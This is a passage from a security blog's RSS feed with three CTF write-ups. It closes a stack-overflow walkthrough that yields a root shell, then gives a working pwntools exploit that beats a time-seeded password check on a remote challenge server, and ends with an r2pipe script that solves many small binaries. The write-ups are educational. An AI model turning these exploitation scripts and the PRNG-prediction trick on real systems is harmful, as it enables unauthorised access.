&lt;p&gt;When we looked at the disassembly of read_file() earlier, we noticed that it allocates a stack frame of 0x64 bytes, opens a file called “in.txt”, and reads in 0x40 bytes of that file into a buffer. Let’s create a file called in.txt so the call to open() succeeds, then set a breakpoint at read(), and see if it’s possible to overwrite the saved return pointer with 0x40 bytes.&lt;/p&gt;

&lt;p&gt;We see that the buffer is located at 0x7fffffffe200:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Checking the location of the saved return pointer and calculating the difference, we get an offset of 56 bytes. Since we’re reading 64 bytes from the file, this should allow us to overwrite the saved return pointer:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;read() doesn’t treat null bytes as string terminators, so we should be able to overwrite the saved return pointer with the address of gimme_shell() without any problems. Let’s update our exploit one last time:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The exploit will now create in.txt with a payload that will overwrite the saved return pointer with the address of gimme_shell(), and also print a payload to stdout that will overwrite var_4 with 0x1337. If we execute this within gdb and set a breakpoint at the RET in read_file(), we see that the next instruction to be executed is in gimme_shell():&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ve successfully exploited vuln03. One final test is to run the exploit against the rootme binary; the SUID root version of vuln03. This should drop us into a rootshell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That concludes the writeup, I hope it was helpful. If you’ve already pwned the binary on your own, congratulations! And if you’ve found a different way to solve it, even better! Write it up and share!&lt;/p&gt;
</description>
        <pubDate>Fri, 23 Feb 2018 16:10:31 +0000</pubDate>
        <link>http://blog.techorganic.com/2018/02/23/dc416-introduction-to-64-bit-linux-exploit-development-vuln03-solution/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2018/02/23/dc416-introduction-to-64-bit-linux-exploit-development-vuln03-solution/</guid>
      </item>
    
      <item>
        <title>Codefest CTF 2017: Rick&apos;s Secure Scheme writeup</title>
        <description>&lt;p&gt;Last week I was invited by the &lt;a href=&quot;https://twitter.com/defcon_toronto&quot;&gt;Defcon Toronto&lt;/a&gt; team to play at Codefest 2017 CTF. There were some pretty good challenges, but unfortunately the CTF was plagued with frustrating issues like an unresponsive website, and no easy way to communicate with admins.&lt;/p&gt;

&lt;p&gt;This was the only pwnable in the CTF and it was worth 300 points. The instructions on how to submit the flag were confusing and changed at some point during the competition. Initially it said:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Flag is ‘flag{md5 of the integer value of the pass concatenated}’&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At some point this changed to:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;flag is now md5 of the secret timestamp&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On top of that, when I finally did get a working solution, something on the target was broken in that it wasn’t returning the secret contents. It was only a few hours later that everything started working again and I was able to score the flag.&lt;/p&gt;

&lt;p&gt;Anyway, moving on to exploiting the binary. Connecting to the service prints out the following menu:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# nc localhost 9999
Welcome to my...
___________      .__           _________                  .__
\_   _____/_____ |__| ____    /   _____/ ______________  _|__| ____  ____
 |    __)_\____ \|  |/ ___\   \_____  \_/ __ \_  __ \  \/ /  |/ ___\/ __ \
 |        \  |_&amp;gt; &amp;gt;  \  \___   /        \  ___/|  | \/\   /|  \  \__\  ___/
/_______  /   __/|__|\___  &amp;gt; /_______  /\___  &amp;gt;__|    \_/ |__|\___  &amp;gt;___  &amp;gt;
        \/|__|           \/          \/     \/                    \/    \/

Your options:

            1. Login with the password (*).
            2. View the secret contents (#).
            3. View the usage logs.
            4. Exit.

* =&amp;gt; It&apos;s theoretically impossible that you can login.
# =&amp;gt; Requires login.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Option 2 prints out the secret contents, which I assumed to be the flag. However in order to get that, I needed to use option 1 and login with the password. As it says in the footnote of the menu, it was theoretically impossible to login. More on this in a bit. Option 3 prints out a log of successful and failed logins, along with their timestamps. This would prove to be a useful hint later on. The binary just runs on a loop until option 4 is selected and the whole thing exits.&lt;/p&gt;

&lt;p&gt;The binary accepts input only when asking for the password, and there was no way to overflow the buffer. So I poked around using Binary Ninja to see what it was doing. The interesting bit where it checks if the password I entered was valid or not was at 0x400dba&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-11-24/01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It uses strncmp() to compare 100 bytes of the entered password with the password hardcoded in binary at 0x400e60. Here’s the hardcoded password:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pwndbg&amp;gt; x/100bx 0x400e60
0x400e60:       0x33    0x12    0x46    0x67    0xf6    0x2b    0x5a    0x2e
0x400e68:       0x5b    0x7e    0xd6    0xf7    0xa2    0x33    0xd5    0x7a
0x400e70:       0x87    0x39    0x5f    0x92    0x73    0xf5    0xb1    0xa5
0x400e78:       0x81    0xb0    0x6a    0x84    0x38    0xcd    0x9b    0xea
0x400e80:       0x99    0xda    0x57    0x65    0x6c    0x63    0x6f    0x6d
0x400e88:       0x65    0x20    0x74    0x6f    0x20    0x6d    0x79    0x2e
0x400e90:       0x2e    0x2e    0x00    0x00    0x00    0x00    0x00    0x00
0x400e98:       0x5f    0x5f    0x5f    0x5f    0x5f    0x5f    0x5f    0x5f
0x400ea0:       0x5f    0x5f    0x5f    0x20    0x20    0x20    0x20    0x20
0x400ea8:       0x20    0x2e    0x5f    0x5f    0x20    0x20    0x20    0x20
0x400eb0:       0x20    0x20    0x20    0x20    0x20    0x20    0x20    0x5f
0x400eb8:       0x5f    0x5f    0x5f    0x5f    0x5f    0x5f    0x5f    0x5f
0x400ec0:       0x20    0x20    0x20    0x20
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sending this password results in an invalid match, because by the time strncmp() is called, the entered password has been mangled. For a 300 point challenge, it can’t be that easy anyway.  So what’s happening?&lt;/p&gt;

&lt;p&gt;Right before strncmp() is called, the entered password is passed into a function 0x400a26. Here’s what it looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-11-24/02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This basically translates to the following pseudocode&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;encode_msg(char *my_password) {
    char x; 
    srand(time(0));

    for (i = 0; i &amp;lt;= 33; i++) {
        x = my_password[i];
        my_password[i] = x ^ rand() % 255
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The current time is used to seed the pseudo-random number generator. Each character in my_password is then XORd with a randomly generated number from 0x0 to 0xFF. The end result is compared with the hardcoded password. Since random numbers are used to XOR my_password, it’s impossible enter the correct password such that it will match the hardcoded one after all the XOR encoding.&lt;/p&gt;

&lt;p&gt;Or is it?&lt;/p&gt;

&lt;p&gt;The vulnerability here was obvious to me because I’d actually solved a similar challenge before in &lt;a href=&quot;https://github.com/VulnHub/ctf-writeups/blob/e160838b06b69d1f19a94411bcbc2702bcf3dbca/2016/tjctf/guess.md&quot;&gt;TJCTF 2016&lt;/a&gt;. The issue is that srand(time(0)) is called everytime option 1 is selected, rather than at the start of the program. Since it uses the current time to seed the pseudo-random number generator, I could duplicate that same functionality and therefore predict the values that every call to rand() would return. This allows me to generate the correct password that would match the hardcoded password after the XOR encoding.&lt;/p&gt;

&lt;p&gt;Here’s a C program that does just that:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;time.h&amp;gt;

int main() {
    char *hardcoded_password = &quot;\x33\x12\x46\x67\xf6\x2b\x5a\x2e\x5b\x7e\xd6\xf7\xa2\x33\xd5\x7a\x87\x39\x5f\x92\x73\xf5\xb1\xa5\x81\xb0\x6a\x84\x38\xcd\x9b\xea\x99\xda&quot;;
    char my_password[34];
    int i;

    srand(time(0));

    for (i = 0; i &amp;lt; 34; i++) {
        my_password[i] = hardcoded_password[i] ^ rand() % 255;
    }
    printf(&quot;%s&quot;, my_password);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I could now write a python script that would take the output of that helper program and send it to the service with a 99% chance that the password would match. This worked perfectly locally, but not remotely. The reason for that was the time. The time on my machine was probably different from the time running on the server. This is where option 3 came in. It printed the timezone the server was running, which was IST. Once I changed my machine’s timezone to IST, I was able to get it working. Here’s the final exploit that gets a successful login and prints out the secret code from option 2:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!/usr/bin/env python

from pwn import *
import subprocess

# binary does strncmp(my_password, hardcoded_password, 100). only 33 bytes of my_password are encoded.
# so we need to pad it with the extra junk that strncmp() looks for when comparing against
# the hardcoded_password. This is basically stuff that starts at 0x400e82
junk = (
    &quot;\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20&quot;
    &quot;\x6d\x79\x2e\x2e\x2e\x00\x00\x00\x00\x00\x00&quot;
    &quot;\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f&quot;
    &quot;\x20\x20\x20\x20\x20\x20\x2e\x5f\x5f\x20\x20&quot;
    &quot;\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x5f&quot;
    &quot;\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x20\x20\x20&quot;
)

r = remote(&quot;13.126.83.119&quot;, 10987)

r.recv()          # Welcome...
r.sendline(&quot;1&quot;)   # Send password option
r.recv()
r.recv()

# run helper program that decodes the hardcoded_password  based on the random value generated from the current time
proc = subprocess.Popen(&quot;./helper&quot;, stdout=subprocess.PIPE)
my_password = proc.stdout.read()[:34]

buf = &quot;&quot;.join([my_password, junk, &quot;\n&quot;])

r.sendline(buf)
d = r.recv()

# send option 2 if login was successful
if &quot;success&quot; in d:
    r.sendline(&quot;2&quot;)
    r.recv()
    print r.recv()
else:
    print &quot;Didn&apos;t work, try again.&quot;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So right after I solved this and got it working on my machine, I tested it on the target. I was able to match the password, select option 2, but it wouldn’t print out the secret. No idea why. I suspected that something was wrong on the server side since no other team had scored the flag either. A few hours later I tried again and it worked. At this point a handful of teams had also successfully solved it. Here’s the result:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ./sploit.py SILENT=1
You&apos;re logged in! Here&apos;s the secret: Flag is the password at epoch 1505768803.


Your options:

            1. Login with the password (*).
            2. View the secret contents (#).
            3. View the usage logs.
            4. Exit.

* =&amp;gt; It&apos;s theoretically impossible that you can login.
# =&amp;gt; Requires login.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was also at this point that I noticed the  challenge description had changed. The flag was the MD5 of 1505768803: flag{c51edda648c6949638488457f32874d6}&lt;/p&gt;

&lt;p&gt;300 points in the bag!&lt;/p&gt;
</description>
        <pubDate>Sun, 24 Sep 2017 13:35:08 +0000</pubDate>
        <link>http://blog.techorganic.com/2017/09/24/codefest-ctf-2017-ricks-secure-scheme-writeup/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2017/09/24/codefest-ctf-2017-ricks-secure-scheme-writeup/</guid>
      </item>
    
      <item>
        <title>Solving 67k binaries with r2pipe</title>
        <description>&lt;p&gt;This was a 400 point reverse engineering challenge from &lt;a href=&quot;https://www.easyctf.com/&quot;&gt;EasyCTF 2017&lt;/a&gt;. We’re given a zip file containing 67,139 small programs starting from 00000.exe to 10642.exe. The idea is to solve each one in order and to join their output. The end result would lead to the flag. Here’s the challenge description:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Here are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn’t be too difficult as the binaries are numbered) and then from there I’m sure you can figure it out.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are probably a hundred ways to solve this challenge, but I decided to give it a go using radare2’s &lt;a href=&quot;https://github.com/radare/radare2-r2pipe&quot;&gt;r2pipe&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Disclaimer: This was the first time I’d used r2pipe, so I apologize for the noobness. After much Googling and fiddling, I ended up with a hacky script that solved the challenge. The script can definitely be improved upon, and I’d love to hear suggestions from those who are more experienced with r2pipe or radare2 scripting.&lt;/p&gt;

&lt;p&gt;I loaded 00000.exe into radare2 for some static analysis:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-03-20/01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;entry0&lt;/code&gt; is where the program starts. This function basically breaks down to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;get a number from the user&lt;/li&gt;
  &lt;li&gt;set eax to a value stored at an address (in this case 0x403000). I’ll call this value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;set ecx to a constant value (in this case 0xa1a8a7ed). I’ll call this value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;call a function, I’ll call it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_op()&lt;/code&gt;, that returns the result of an operation (in this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax-ecx&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_op()&lt;/code&gt; looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-03-20/02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The return value of this function, I’ll call it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z&lt;/code&gt;, is compared against the user’s input. If they are identical it follows a branch that does the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;set cl to a value stored at an address (in this case 0x403007)&lt;/li&gt;
  &lt;li&gt;shift &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z&lt;/code&gt; by cl bits and store the result in eax&lt;/li&gt;
  &lt;li&gt;do a bitwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;and&lt;/code&gt; on eax and print out the result&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nothing complicated. The goal is to enter the correct input expected by each binary and concatenate its output to get the flag. I examined a handful of binaries and found the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the values for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;y&lt;/code&gt; differ for each binary&lt;/li&gt;
  &lt;li&gt;the operation performed by function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_op()&lt;/code&gt; can be one of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor&lt;/code&gt;; however it’s always &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;op eax, ecx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So in order to solve each binary without having to run it, I needed to calculate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z&lt;/code&gt;, do a shift arithmetic right on it by a certain number of bits, and finally do a bitwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;and&lt;/code&gt; on the result.&lt;/p&gt;

&lt;p&gt;Scripting the whole thing with r2pipe was actually pretty easy. For instance, here’s how I got the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_op()&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;r2p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# open the binary
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r2p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;aaa&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;                  &lt;span class=&quot;c1&quot;&gt;# analyze it
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;aflj&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# list all functions; should return two results: entry0 and fcn.????????
&lt;/span&gt;                                &lt;span class=&quot;c1&quot;&gt;# returns the result in JSON
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;# get the results in a dictionary
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fc_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;# there are 2 dictionaries returned; check if the first one is fcn.????????
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fc_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;entry0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;# if not, get it from the second dictionary
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;fc_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;do_op() is&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fc_name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If I run this I get&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-03-20/03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Basically it’s all about using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r2p.cmd()&lt;/code&gt; to run a radare2 command and parsing its output. In this case I’ve chosen to return the results of the command in JSON for easier parsing. If there’s a better way, I’m all ears!&lt;/p&gt;

&lt;p&gt;Here’s the full script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python

import r2pipe
import json
import sys

if __name__ == &quot;__main__&quot;:
    r2p = r2pipe.open(sys.argv[1])
    r2p.cmd(&quot;aaa&quot;)

    # get the address of do_foo()
    t = r2p.cmd(&quot;aflj&quot;)
    d = json.loads(t)
    fc_name = d[0][&quot;name&quot;]
    if fc_name == &quot;entry0&quot;:
        fc_name = d[1][&quot;name&quot;]

    # determine if sub, add, or xor is used; just want the opcode at this point
    t = r2p.cmd(&quot;pdj 1@%s&quot; %( fc_name))     # &amp;lt;op&amp;gt; eax, ecx
    d = json.loads(t)
    ins = d[0][&quot;opcode&quot;]

    # get the value of EAX
    t = r2p.cmd(&quot;pdj 1@entry0+0x1f&quot;)        #  mov eax, dword [0xNNNNNNNN]
    d = json.loads(t)
    pointer = d[0][&quot;esil&quot;].split(&quot;,&quot;)[0]
    pointer = int(pointer, 16)

    t = r2p.cmd(&quot;pxrj 4@%d&quot; % (pointer,))   # get value pointed to by 0xNNNNNNNN
    d = json.loads(t)
    eax = d[0][&quot;value&quot;]

    # get the value of ECX
    t = r2p.cmd(&quot;pdj 1@entry0+0x24&quot;)        #  mov ecx, 0xMMMMMMMM
    d = json.loads(t)
    ecx = d[0][&quot;opcode&quot;].split()[-1]
    ecx = int(ecx, 16)

    # determine the operation used by do_foo()
    answer = 0
    if &quot;sub&quot; in ins:
        answer = eax - ecx
    elif &quot;xor&quot; in ins:
        answer = eax ^ ecx
    elif &quot;add&quot; in ins:
        answer = eax + ecx

    # get value to use for SAR operation
    t = r2p.cmd(&quot;pdj 1@entry0+0x36&quot;)        # mov cl, byte [0xNNNNNNNN]
    d = json.loads(t)
    pointer = d[0][&quot;esil&quot;].split(&quot;,&quot;)[0]
    pointer = int(pointer, 16)

    t = r2p.cmd(&quot;pxrj 4@%d&quot; % (pointer,))   # get value pointed to by 0xNNNNNNNN
    t = t.replace(&quot;\\x&quot;, &quot;&quot;)                # get rid of escapes json doesn&apos;t like
    d = json.loads(t)
    val = d[0][&quot;value&quot;]
    cl = val &amp;amp; 0xff

    # get the solution to the challenge
    solve = answer &amp;gt;&amp;gt; cl
    solve = solve &amp;amp; 0xff
    sys.stdout.write(&quot;%c&quot; % (solve,))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script is commented so hopefully it makes sense, It basically figures out what the expected input is and what the binary’s output will be.&lt;/p&gt;

&lt;p&gt;To demonstrate the script, I’ve copied a handful of the binaries to a sample directory and ran it:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-03-20/04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So it looks like the binaries will create some obfuscated Javascript code, specifically &lt;a href=&quot;https://github.com/alcuadrado/hieroglyphy&quot;&gt;hieroglyphy&lt;/a&gt;. Running the script against all the binaries took a few hours, but it worked! I executed the Javascript contents in my browser and got the flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2017-03-20/05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ve attached the completed output and the challenge binaries &lt;a href=&quot;https://gist.github.com/superkojiman/8e40c4579c36d541f5aa6fe9eaa6b6ba&quot;&gt;here&lt;/a&gt; if you’d like to play with it as well&lt;/p&gt;

&lt;p&gt;Overall this was a great learning experiencef or me. I’ll be doing some more reading on r2pipe to see what else I can do with it.&lt;/p&gt;
</description>
        <pubDate>Mon, 20 Mar 2017 15:08:39 +0000</pubDate>
        <link>http://blog.techorganic.com/2017/03/20/solving-67k-binaries-with-r2pipe/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2017/03/20/solving-67k-binaries-with-r2pipe/</guid>
      </item>
    
  </channel>
</rss>
